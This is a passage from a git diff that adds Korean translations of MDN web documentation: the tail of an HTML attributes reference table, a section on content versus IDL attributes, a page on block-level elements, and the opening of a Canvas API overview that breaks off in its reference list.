+   <td>If the button/input is a submit button (<code>type="submit"</code>), this attribute specifies the browsing context (for example, tab, window, or inline frame) in which to display the response that is received after submitting the form. If this attribute is specified, it overrides the <code>target</code> attribute of the button's <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Element/form">form</a> owner.</td>
+  </tr>
+  <tr>
+   <td><code>headers</code></td>
+   <td>{{ HTMLElement("td") }}, {{ HTMLElement("th") }}</td>
+   <td>IDs of the <code>&lt;th&gt;</code> elements which applies to this element.</td>
+  </tr>
+  <tr>
+   <td><code>height</code></td>
+   <td>{{ HTMLElement("canvas") }}, {{ HTMLElement("embed") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("input") }}, {{ HTMLElement("object") }}, {{ HTMLElement("video") }}</td>
+   <td>
+    <p>Specifies the height of elements listed here. For all other elements, use the CSS {{cssxref("height")}} property.</p>
+
+    <div class="note">
+    <p><strong>Note:</strong> In some instances, such as {{ HTMLElement("div") }}, this is a legacy attribute, in which case the CSS {{ Cssxref("height") }} property should be used instead.</p>
+    </div>
+   </td>
+  </tr>
+  <tr>
+  </tr>
+  <tr>
+   <td><code>hidden</code></td>
+   <td><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></td>
+   <td>Prevents rendering of given element, while keeping child elements, e.g. script elements, active.</td>
+  </tr>
+  <tr>
+   <td><code>high</code></td>
+   <td>{{ HTMLElement("meter") }}</td>
+   <td>Indicates the lower bound of the upper range.</td>
+  </tr>
+  <tr>
+   <td><code>href</code></td>
+   <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("base") }}, {{ HTMLElement("link") }}</td>
+   <td> 링크된 리소스의 URL</td>
+  </tr>
+  <tr>
+   <td><code>hreflang</code></td>
+   <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("link") }}</td>
+   <td>링크된 리소스의 언어를 나타냄</td>
+  </tr>
+  <tr>
+   <td><code>http-equiv</code></td>
+   <td>{{ HTMLElement("meta") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>icon</code></td>
+   <td>{{ HTMLElement("command") }}</td>
+   <td>Specifies a picture which represents the command.</td>
+  </tr>
+  <tr>
+   <td><code>id</code></td>
+   <td><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></td>
+   <td>일반적으로, 특정한 요소를 스타일하기 위해 CSS와 함꼐 사용됨. 이 속성의 값은 유일해야함.</td>
+  </tr>
+  <tr>
+   <td><code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Attributes/importance">importance</a></code> {{experimental_inline}}</td>
+   <td>{{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("link") }}, {{ HTMLElement("script") }}</td>
+   <td>Indicates the relative fetch priority for the resource.</td>
+  </tr>
+  <tr>
+   <td><code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity">integrity</a></code></td>
+   <td>{{ HTMLElement("link") }}, {{ HTMLElement("script") }}</td>
+   <td>Specifies a <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity">Subresource Integrity</a> value that allows browsers to verify what they fetch.</td>
+  </tr>
+  <tr>
+   <td><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Element/img#attr-intrinsicsize"><code>intrinsicsize</code></a> {{deprecated_inline}}</td>
+   <td>{{ HTMLElement("img") }}</td>
+   <td>This attribute tells the browser to ignore the actual intrinsic size of the image and pretend it’s the size specified in the attribute.</td>
+  </tr>
+  <tr>
+   <td><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/inputmode"><code>inputmode</code></a></td>
+   <td>{{ HTMLElement("textarea") }}, <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/contenteditable"><code>contenteditable</code></a></td>
+   <td>Provides a hint as to the type of data that might be entered by the user while editing the element or its contents. The attribute can be used with form controls (such as the value of <code>textarea</code> elements), or in elements in an editing host (e.g., using <code>contenteditable</code> attribute).</td>
+  </tr>
+  <tr>
+   <td><code>ismap</code></td>
+   <td>{{ HTMLElement("img") }}</td>
+   <td>Indicates that the image is part of a server-side image map.</td>
+  </tr>
+  <tr>
+   <td><code>itemprop</code></td>
+   <td><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>keytype</code></td>
+   <td>{{ HTMLElement("keygen") }}</td>
+   <td>Specifies the type of key generated.</td>
+  </tr>
+  <tr>
+   <td><code>kind</code></td>
+   <td>{{ HTMLElement("track") }}</td>
+   <td>Specifies the kind of text track.</td>
+  </tr>
+  <tr>
+   <td><code>label</code></td>
+   <td>{{ HTMLElement("track") }}</td>
+   <td>Specifies a user-readable title of the text track.</td>
+  </tr>
+  <tr>
+   <td><code>lang</code></td>
+   <td><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></td>
+   <td>요소에서 사용된 언어를 정의합니다.</td>
+  </tr>
+  <tr>
+   <td><code>language</code></td>
+   <td>{{ HTMLElement("script") }}</td>
+   <td>요소에서 사용된 스크립트 언어를 정의합니다.</td>
+  </tr>
+  <tr>
+   <td><code>list</code></td>
+   <td>{{ HTMLElement("input") }}</td>
+   <td>Identifies a list of pre-defined options to suggest to the user.</td>
+  </tr>
+  <tr>
+   <td><code>loading</code> {{experimental_inline}}</td>
+   <td>{{ HTMLElement("img") }}, {{ HTMLElement("iframe") }}</td>
+   <td>Indicates if the element should be loaded lazily (<code>loading="lazy"</code>) or loaded immediately (<code>loading="eager"</code>).</td>
+  </tr>
+  <tr>
+   <td><code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Attributes/list">list</a></code></td>
+   <td>{{ HTMLElement("input") }}</td>
+   <td>Identifies a list of pre-defined options to suggest to the user.</td>
+  </tr>
+  <tr>
+   <td><code>loop</code></td>
+   <td>{{ HTMLElement("audio") }}, {{ HTMLElement("bgsound") }}, {{ HTMLElement("marquee") }}, {{ HTMLElement("video") }}</td>
+   <td>미디어가 재생을 완료했을때 다시 재생을 시작해야할지를 나타냅니다.</td>
+  </tr>
+  <tr>
+   <td><code>low</code></td>
+   <td>{{ HTMLElement("meter") }}</td>
+   <td>Indicates the upper bound of the lower range.</td>
+  </tr>
+  <tr>
+   <td><code>manifest</code></td>
+   <td>{{ HTMLElement("html") }}</td>
+   <td>문서의 캐시 매니페스트의 URL을 가리킵니다.</td>
+  </tr>
+  <tr>
+   <td><code>max</code></td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("meter") }}, {{ HTMLElement("progress") }}</td>
+   <td>허용되는 최대 값을 나타냅니다.</td>
+  </tr>
+  <tr>
+   <td><code>maxlength</code></td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}</td>
+   <td>요소에 허용되는 문자의 최대 길이를 나타냅니다.</td>
+  </tr>
+  <tr>
+   <td><code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Attributes/minlength">minlength</a></code></td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}</td>
+   <td>Defines the minimum number of characters allowed in the element.</td>
+  </tr>
+  <tr>
+   <td><code>media</code></td>
+   <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("link") }}, {{ HTMLElement("source") }}, {{ HTMLElement("style") }}</td>
+   <td>Specifies a hint of the media for which the linked resource was designed.</td>
+  </tr>
+  <tr>
+   <td><code>method</code></td>
+   <td>{{ HTMLElement("form") }}</td>
+   <td>폼을 제출할때 사용할 HTTP 메소드를 정의함. GET(기본값) 또는 POST 가 될수 있음.</td>
+  </tr>
+  <tr>
+   <td><code>min</code></td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("meter") }}</td>
+   <td>허용되는 최소 값을 나타냄.</td>
+  </tr>
+  <tr>
+   <td><code>multiple</code></td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("select") }}</td>
+   <td>Indicates whether multiple values can be entered in an input of the type <code>email</code> or <code>file</code>.</td>
+  </tr>
+  <tr>
+   <td><code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Attributes/muted">muted</a></code></td>
+   <td>{{ HTMLElement("audio") }}, {{ HTMLElement("video") }}</td>
+   <td>Indicates whether the audio will be initially silenced on page load.</td>
+  </tr>
+  <tr>
+   <td><code>name</code></td>
+   <td>{{ HTMLElement("button") }}, {{ HTMLElement("form") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("object") }}, {{ HTMLElement("output") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}, {{ HTMLElement("map") }}, {{ HTMLElement("meta") }}, {{ HTMLElement("param") }}</td>
+   <td>요소의 이름. For example used by the server to identify the fields in form submits.</td>
+  </tr>
+  <tr>
+   <td><code>novalidate</code></td>
+   <td>{{ HTMLElement("form") }}</td>
+   <td>This attribute indicates that the form shouldn't be validated when submitted.</td>
+  </tr>
+  <tr>
+   <td><code>open</code></td>
+   <td>{{ HTMLElement("details") }}</td>
+   <td>Indicates whether the details will be shown on page load.</td>
+  </tr>
+  <tr>
+   <td><code>optimum</code></td>
+   <td>{{ HTMLElement("meter") }}</td>
+   <td>Indicates the optimal numeric value.</td>
+  </tr>
+  <tr>
+   <td><code>pattern</code></td>
+   <td>{{ HTMLElement("input") }}</td>
+   <td>Defines a regular expression which the element's value will be validated against.</td>
+  </tr>
+  <tr>
+   <td><code>ping</code></td>
+   <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>placeholder</code></td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}</td>
+   <td>필드에 무엇이 들어갈수 있는지 사용자에게 힌트를 제공합니다.</td>
+  </tr>
+  <tr>
+   <td><code>poster</code></td>
+   <td>{{ HTMLElement("video") }}</td>
+   <td>A URL indicating a poster frame to show until the user plays or seeks.</td>
+  </tr>
+  <tr>
+   <td><code>preload</code></td>
+   <td>{{ HTMLElement("audio") }}, {{ HTMLElement("video") }}</td>
+   <td>전체,부분,또는 아무런 리소스가 미리 로드되어야하는지를 나타냅니다.</td>
+  </tr>
+  <tr>
+   <td><code>radiogroup</code></td>
+   <td>{{ HTMLElement("command") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>readonly</code></td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}</td>
+   <td>요소가 수정될 수 있는지를 나타냅니다.</td>
+  </tr>
+  <tr>
+   <td><code>rel</code></td>
+   <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("link") }}</td>
+   <td>Specifies the relationship of the target object to the link object.</td>
+  </tr>
+  <tr>
+   <td><code>required</code></td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}</td>
+   <td>이 요소가 채워져야 하는지를 나타냅니다.</td>
+  </tr>
+  <tr>
+   <td><code>reversed</code></td>
+   <td>{{ HTMLElement("ol") }}</td>
+   <td>Indicates whether the list should be displayed in a descending order instead of a ascending.</td>
+  </tr>
+  <tr>
+   <td><code>rows</code></td>
+   <td>{{ HTMLElement("textarea") }}</td>
+   <td>textarea의 줄 개수를 정의합니다.</td>
+  </tr>
+  <tr>
+   <td><code>rowspan</code></td>
+   <td>{{ HTMLElement("td") }}, {{ HTMLElement("th") }}</td>
+   <td>Defines the number of rows a table cell should span over.</td>
+  </tr>
+  <tr>
+   <td><code>sandbox</code></td>
+   <td>{{ HTMLElement("iframe") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>scope</code></td>
+   <td>{{ HTMLElement("th") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>scoped</code></td>
+   <td>{{ HTMLElement("style") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>selected</code></td>
+   <td>{{ HTMLElement("option") }}</td>
+   <td>Defines a value which will be selected on page load.</td>
+  </tr>
+  <tr>
+   <td><code>shape</code></td>
+   <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>size</code></td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("select") }}</td>
+   <td>Defines the width of the element (in pixels). If the element's <code>type</code> attribute is <code>text</code> or <code>password</code> then it's the number of characters.</td>
+  </tr>
+  <tr>
+   <td><code>sizes</code></td>
+   <td>{{ HTMLElement("link") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>slot</code></td>
+   <td><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></td>
+   <td>Assigns a slot in a shadow DOM shadow tree to an element.</td>
+  </tr>
+  <tr>
+   <td><code>span</code></td>
+   <td>{{ HTMLElement("col") }}, {{ HTMLElement("colgroup") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Attributes/spellcheck">spellcheck</a></code></td>
+   <td><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></td>
+   <td>Indicates whether spell checking is allowed for the element.</td>
+  </tr>
+  <tr>
+   <td><code>src</code></td>
+   <td>{{ HTMLElement("audio") }}, {{ HTMLElement("embed") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("input") }}, {{ HTMLElement("script") }}, {{ HTMLElement("source") }}, {{ HTMLElement("track") }}, {{ HTMLElement("video") }}</td>
+   <td>내장 컨텐츠의 URL</td>
+  </tr>
+  <tr>
+   <td><code>srcdoc</code></td>
+   <td>{{ HTMLElement("iframe") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>srclang</code></td>
+   <td>{{ HTMLElement("track") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>srcset</code></td>
+   <td>{{ HTMLElement("img") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>start</code></td>
+   <td>{{ HTMLElement("ol") }}</td>
+   <td>Defines the first number if other than 1.</td>
+  </tr>
+  <tr>
+   <td><code>step</code></td>
+   <td>{{ HTMLElement("input") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>style</code></td>
+   <td><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></td>
+   <td>이전 스타일을 오버라이드할 CSS 스타일을 정의함.</td>
+  </tr>
+  <tr>
+   <td><code>summary</code></td>
+   <td>{{ HTMLElement("table") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>tabindex</code></td>
+   <td><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></td>
+   <td>Overrides the browser's default tab order and follows the one specified instead.</td>
+  </tr>
+  <tr>
+   <td><code>target</code></td>
+   <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("base") }}, {{ HTMLElement("form") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>title</code></td>
+   <td><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></td>
+   <td>요소 위에 호버링했을떄 표시될 툴팁의 텍스트</td>
+  </tr>
+  <tr>
+   <td><code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Attributes/translate">translate</a></code></td>
+   <td><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></td>
+   <td>Specify whether an element’s attribute values and the values of its <code><a href="https://dom.spec.whatwg.org/#text" id="ref-for-text①⑦">Text</a></code> node children are to be translated when the page is localized, or whether to leave them unchanged.</td>
+  </tr>
+  <tr>
+   <td><code>type</code></td>
+   <td>{{ HTMLElement("button") }}, {{ HTMLElement("input") }}, {{ HTMLElement("command") }}, {{ HTMLElement("embed") }}, {{ HTMLElement("object") }}, {{ HTMLElement("script") }}, {{ HTMLElement("source") }}, {{ HTMLElement("style") }}, {{ HTMLElement("menu") }}</td>
+   <td>요소의 타입을 정의함</td>
+  </tr>
+  <tr>
+   <td><code>usemap</code></td>
+   <td>{{ HTMLElement("img") }},  {{ HTMLElement("input") }}, {{ HTMLElement("object") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>value</code></td>
+   <td>{{ HTMLElement("button") }}, {{ HTMLElement("option") }}, {{ HTMLElement("input") }}, {{ HTMLElement("li") }}, {{ HTMLElement("meter") }}, {{ HTMLElement("progress") }}, {{ HTMLElement("param") }}</td>
+   <td>페이지가 로드된뒤 요소에 표시될 기본값을 지정합니다.</td>
+  </tr>
+  <tr>
+   <td><code>width</code></td>
+   <td>{{ HTMLElement("canvas") }}, {{ HTMLElement("embed") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("input") }}, {{ HTMLElement("object") }}, {{ HTMLElement("video") }}</td>
+   <td>Note: In some instances, such as {{ HTMLElement("div") }}, this is a legacy attribute, in which case the CSS {{ Cssxref("width") }} property should be used instead. In other cases, such as {{ HTMLElement("canvas") }}, the width must be specified with this attribute.</td>
+  </tr>
+  <tr>
+   <td><code>wrap</code></td>
+   <td>{{ HTMLElement("textarea") }}</td>
+   <td>Indicates whether the text should be wrapped.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Content_versus_IDL_attributes">Content versus IDL attributes</h2>
+
+<p>In HTML, most attributes have two faces: the <strong>content attribute</strong> and the <strong>IDL attribute</strong>.</p>
+
+<p>The content attribute is the attribute as you set it from the content (the HTML code) and you can set it or get it via {{domxref("element.setAttribute()")}} or {{domxref("element.getAttribute()")}}. The content attribute is always a string even when the expected value should be an integer. For example, to set an {{HTMLElement("input")}} element's <code>maxlength</code> to 42 using the content attribute, you have to call <code>setAttribute("maxlength", "42")</code> on that element.</p>
+
+<p>The IDL attribute is also known as a JavaScript property. These are the attributes you can read or set using JavaScript properties like <code class="moz-txt-verticalline">element.foo</code>. The IDL attribute is always going to use (but might transform) the underlying content attribute to return a value when you get it and is going to save something in the content attribute when you set it. In other words, the IDL attributes, in essence, reflect the content attributes.</p>
+
+<p>Most of the time, IDL attributes will return their values as they are really used. For example, the default <code>type</code> for {{HTMLElement("input")}} elements is "text", so if you set <code>input.type="foobar"</code>, the <code>&lt;input&gt;</code> element will be of type text (in the appearance and the behavior) but the "type" content attribute's value will be "foobar". However, the <code>type</code> IDL attribute will return the string "text".</p>
+
+<p>IDL attributes are not always strings; for example, <code>input.maxlength</code> is a number (a signed long). When using IDL attributes, you read or set values of the desired type, so <code>input.maxlength</code> is always going to return a number and when you set <code>input.maxlength</code> ,it wants a number. If you pass another type, it is automatically converted to a number as specified by the standard JavaScript rules for type conversion.</p>
+
+<p>IDL attributes can <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/urls.html#reflecting-content-attributes-in-idl-attributes" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/urls.html#reflecting-content-attributes-in-idl-attributes">reflect other types</a> such as unsigned long, URLs, booleans, etc. Unfortunately, there are no clear rules and the way IDL attributes behave in conjunction with their corresponding content attributes depends on the attribute. Most of the time, it will follow <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/urls.html#reflecting-content-attributes-in-idl-attributes" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/urls.html#reflecting-content-attributes-in-idl-attributes">the rules laid out in the specification</a>, but sometimes it doesn't. HTML specifications try to make this as developer-friendly as possible, but for various reasons (mostly historical), some attributes  behave oddly (<code>select.size</code>, for example) and you should read the specifications to understand how exactly they behave.</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/HTML/Element" title="/en-US/docs/HTML/Element">HTML 요소</a></li>
+</ul>
diff --git a/files/ko/web/html/block-level_elements/index.html b/files/ko/web/html/block-level_elements/index.html
new file mode 100644
index 0000000000..637ace1c8c
--- /dev/null
+++ b/files/ko/web/html/block-level_elements/index.html
@@ -0,0 +1,127 @@
+---
+title: 블록 레벨 요소
+slug: Web/HTML/Block-level_elements
+tags:
+  - Beginner
+  - Development
+  - Guide
+  - HTML
+  - HTML5
+  - Web
+translation_of: Web/HTML/Block-level_elements
+---
+<p><strong>HTML</strong>(Hypertext Markup Language)의 요소는 역사적으로 "블록 레벨" 요소와 <a href="/ko/docs/Web/HTML/Inline_elements">"인라인" 요소</a>로 분류됐습니다. 기본적으로 블록 레벨 요소는 부모 요소의 전체 공간을 차지하여 "블록"을 만듭니다. 이 글에서 자세한 설명을 읽을 수 있습니다.</p>
+
+<p>{{glossary("browser", "브라우저")}}는 보통 블록 레벨 요소의 앞과 뒤를 개행해서 그립니다. 상자를 쌓는 것 처럼 생각할 수 있습니다.</p>
+
+<div class="blockIndicator note">
+<p>블록 레벨 요소는 언제나 새로운 줄에서 시작하고, 좌우 양쪽으로 최대한 늘어나 가능한 모든 너비를 차지합니다.</p>
+</div>
+
+<p>다음 예제가 블록 레벨 요소의 영향을 보여줍니다.</p>
+
+<h2 id="블록_레벨_요소">블록 레벨 요소</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;이 문단은 블록 레벨 요소입니다. 부모 요소와 구분할 수 있도록 배경 색을 입혔습니다.&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p { background-color: #8ABB55; }</pre>
+
+<p>{{EmbedLiveSample('블록_레벨_요소')}}</p>
+
+<h2 id="사용처">사용처</h2>
+
+<ul>
+ <li>블록 레벨 요소는 {{HTMLElement("body")}} 요소 안에서만 나타날 수 있습니다.</li>
+</ul>
+
+<h2 id="블록_레벨_vs._인라인">블록 레벨 vs. 인라인</h2>
+
+<p>블록 레벨 요소와 인라인 요소는 몇 가지 중요한 차이점을 가지고 있습니다.</p>
+
+<dl>
+ <dt>콘텐츠 모델</dt>
+ <dd>일반적으로 블록 레벨 요소는 인라인 요소와 (때때로) 다른 블록 레벨 요소를 포함할 수 있습니다. 이런 고유한 구조적 차이점으로 인해 블록 레벨 요소는 인라인 요소보다 더 "큰" 구조를 생성할 수 있습니다.</dd>
+ <dt>기본 서식</dt>
+ <dd>기본적으로 블록 레벨 요소는 새로운 줄에서 시작하지만, 인라인 요소는 줄의 어느 곳에서나 시작할 수 있습니다.</dd>
+</dl>
+
+<p>블록 레벨과 인라인 요소의 분류는 HTML 명세 4.01까지 사용됐습니다. 이런 이진적 구분은 HTML5부터 보다 복잡한 <a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a> 집합으로 대체됐습니다. "인라인" 카테고리는 <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>와 적당히 짝지을 수 있지만 "블록 레벨" 카테고리는 어느 HTML5 콘텐츠 카테고리와도 정확히 일치하지 않습니다. 그러나 블록 레벨과 인라인 요소를 조합하면 <a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>에 대응합니다. <a href="/ko/docs/Web/Guide/HTML/Content_categories#대화형_콘텐츠">대화형 콘텐츠</a> 등 추가 카테고리도 존재합니다.</p>
+
+<h2 id="요소_목록">요소 목록</h2>
+
+<p>다음은 HTML 블록 레벨 요소의 전체 목록입니다. (사실 HTML5의 새로운 요소를 설명할 때, "블록 레벨"이라는 용어는 정의되지 않습니다.)</p>
+
+<div class="threecolumns">
+<dl>
+ <dt>{{ HTMLElement("address") }}</dt>
+ <dd>연락처 정보.</dd>
+ <dt>{{ HTMLElement("article") }}</dt>
+ <dd>단락 콘텐츠.</dd>
+ <dt>{{ HTMLElement("aside") }}</dt>
+ <dd>부가 콘텐츠.</dd>
+ <dt>{{ HTMLElement("blockquote") }}</dt>
+ <dd>긴("블록")  인용구.</dd>
+ <dt>{{HTMLElement("details")}}</dt>
+ <dd>상세 정보 위젯.</dd>
+ <dt>{{HTMLElement("dialog")}}</dt>
+ <dd>대화상자.</dd>
+ <dt>{{ HTMLElement("dd") }}</dt>
+ <dd>설명 목록의 정의 설명.</dd>
+ <dt>{{ HTMLElement("div") }}</dt>
+ <dd>문서의 분할.</dd>
+ <dt>{{ HTMLElement("dl") }}</dt>
+ <dd>설명 목록.</dd>
+ <dt>{{HTMLElement("dt")}}</dt>
+ <dd>설명 목록의 정의.</dd>
+ <dt>{{ HTMLElement("fieldset") }}</dt>
+ <dd>필드 집합의 라벨.</dd>
+ <dt>{{ HTMLElement("figcaption") }}</dt>
+ <dd>그림 설명.</dd>
+ <dt>{{ HTMLElement("figure") }}</dt>
+ <dd>미디어 콘텐츠 그룹과 설명. ({{ HTMLElement("figcaption") }}을 참고하세요)</dd>
+ <dt>{{ HTMLElement("footer") }}</dt>
+ <dd>페이지나 구역의 푸터.</dd>
+ <dt>{{ HTMLElement("form") }}</dt>
+ <dd>입력 폼.</dd>
+ <dt>{{ HTMLElement("h1") }}, {{ HTMLElement("h2") }}, {{ HTMLElement("h3") }}, {{ HTMLElement("h4") }}, {{ HTMLElement("h5") }}, {{ HTMLElement("h6") }}</dt>
+ <dd>1~6단계 제목.</dd>
+ <dt>{{ HTMLElement("header") }}</dt>
+ <dd>페이지나 구역의 헤더.</dd>
+ <dt>{{ HTMLElement("hgroup") }}</dt>
+ <dd>헤더 정보 그룹.</dd>
+ <dt>{{ HTMLElement("hr") }}</dt>
+ <dd>수평선(구분선).</dd>
+ <dt>{{HTMLElement("li")}}</dt>
+ <dd>목록의 항목.</dd>
+ <dt>{{HTMLElement("main")}}</dt>
+ <dd>문서에서 하나 뿐인 중심 콘텐츠.</dd>
+ <dt>{{HTMLElement("nav")}}</dt>
+ <dd>탐색 링크를 포함.</dd>
+ <dt>{{ HTMLElement("ol") }}</dt>
+ <dd>정렬된 목록.</dd>
+ <dt>{{ HTMLElement("p") }}</dt>
+ <dd>문단.</dd>
+ <dt>{{ HTMLElement("pre") }}</dt>
+ <dd>미리 서식 적용한 글.</dd>
+ <dt>{{ HTMLElement("section") }}</dt>
+ <dd>웹 페이지의 구역.</dd>
+ <dt>{{ HTMLElement("table") }}</dt>
+ <dd>표.</dd>
+ <dt>{{ HTMLElement("ul") }}</dt>
+ <dd>정렬되지 않은 목록.</dd>
+</dl>
+</div>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/HTML/Inline_elements">인라인 요소</a></li>
+ <li>{{cssxref("display")}}</li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Flow_Layout/Block_and_Inline_Layout_in_Normal_Flow">Block and Inline Layout in Normal Flow</a></li>
+</ul>
+
+<div>{{QuickLinksWithSubpages("/ko/docs/Web/HTML/")}}</div>
diff --git a/files/ko/web/html/canvas/index.html b/files/ko/web/html/canvas/index.html
new file mode 100644
index 0000000000..bbe466e58d
--- /dev/null
+++ b/files/ko/web/html/canvas/index.html
@@ -0,0 +1,135 @@
+---
+title: Canvas API
+slug: Web/HTML/Canvas
+tags:
+  - API
+  - Canvas
+  - JavaScript
+  - 개요
+  - 레퍼런스
+translation_of: Web/API/Canvas_API
+---
+<div>{{CanvasSidebar}}</div>
+
+<p><strong>Canvas API</strong>는 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript">JavaScript</a>와 <a href="https://developer.mozilla.org/ko/docs/Web/HTML">HTML </a>{{HtmlElement("canvas")}} 엘리먼트를 통해 그래픽을 그리기위한 수단을 제공합니다. 무엇보다도 애니메이션, 게임 그래픽, 데이터 시각화, 사진 조작 및 실시간 비디오 처리를 위해 사용됩니다.</p>
+
+<p>Canvas API는 주로 2D 그래픽에 중점을 두고 있습니다. <a href="https://developer.mozilla.org/ko/docs/Web/WebGL">WebGL API</a> 또한 <code>&lt;canvas&gt;</code> 엘리먼트를 사용하며, 하드웨어 가속 2D 및 3D 그래픽을 그립니다.</p>
+
+<h2 id="기본_예시">기본 예시</h2>
+
+<p>canvas에 초록색 사각형을 그리는 간단한 예시입니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<p>{{domxref("Document.getElementById()")}} 메소드는 HTML <code>&lt;canvas&gt;</code> 엘리먼트에 대한 참조를 얻습니다. 그 다음, {{domxref("HTMLCanvasElement.getContext()")}} 메소드는 엘리먼트의 컨텍스트(렌더링될 그리기의 대상)를 얻습니다.</p>
+
+<p>실제 그리기는 {{domxref("CanvasRenderingContext2D")}} 인터페이스를 사용해 수행됩니다. {{domxref("CanvasRenderingContext2D.fillStyle", "fillStyle")}} 프로퍼티는 사각형을 초록색으로 만듭니다. {{domxref("CanvasRenderingContext2D.fillRect()", "fillRect()")}} 메소드는 좌측 상단 코너를 (10, 10) 위치에 놓으며, 너비를 150, 높이를 100으로 지정합니다.</p>
+
+<pre class="brush: js">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.fillStyle = 'green';
+ctx.fillRect(10, 10, 150, 100);
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{ EmbedLiveSample('기본_예시', 700, 180) }}</p>
+
+<h2 id="레퍼런스">레퍼런스</h2>
+
+<div class="index">
+<ul>
+ <li>{{domxref("HTMLCanvasElement")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasGradient")}}</li>
+ <li>{{domxref("CanvasImageSource")}}</li>
+ <li>{{domxref("CanvasPattern")}}</li>
+ <li>{{domxref("ImageBitmap")}}</li>
+ <li>{{domxref("ImageData")}}</li>
+ <li>{{domxref("RenderingContext")}}</li>
+ <li>{{domxref("TextMetrics")}}</li>
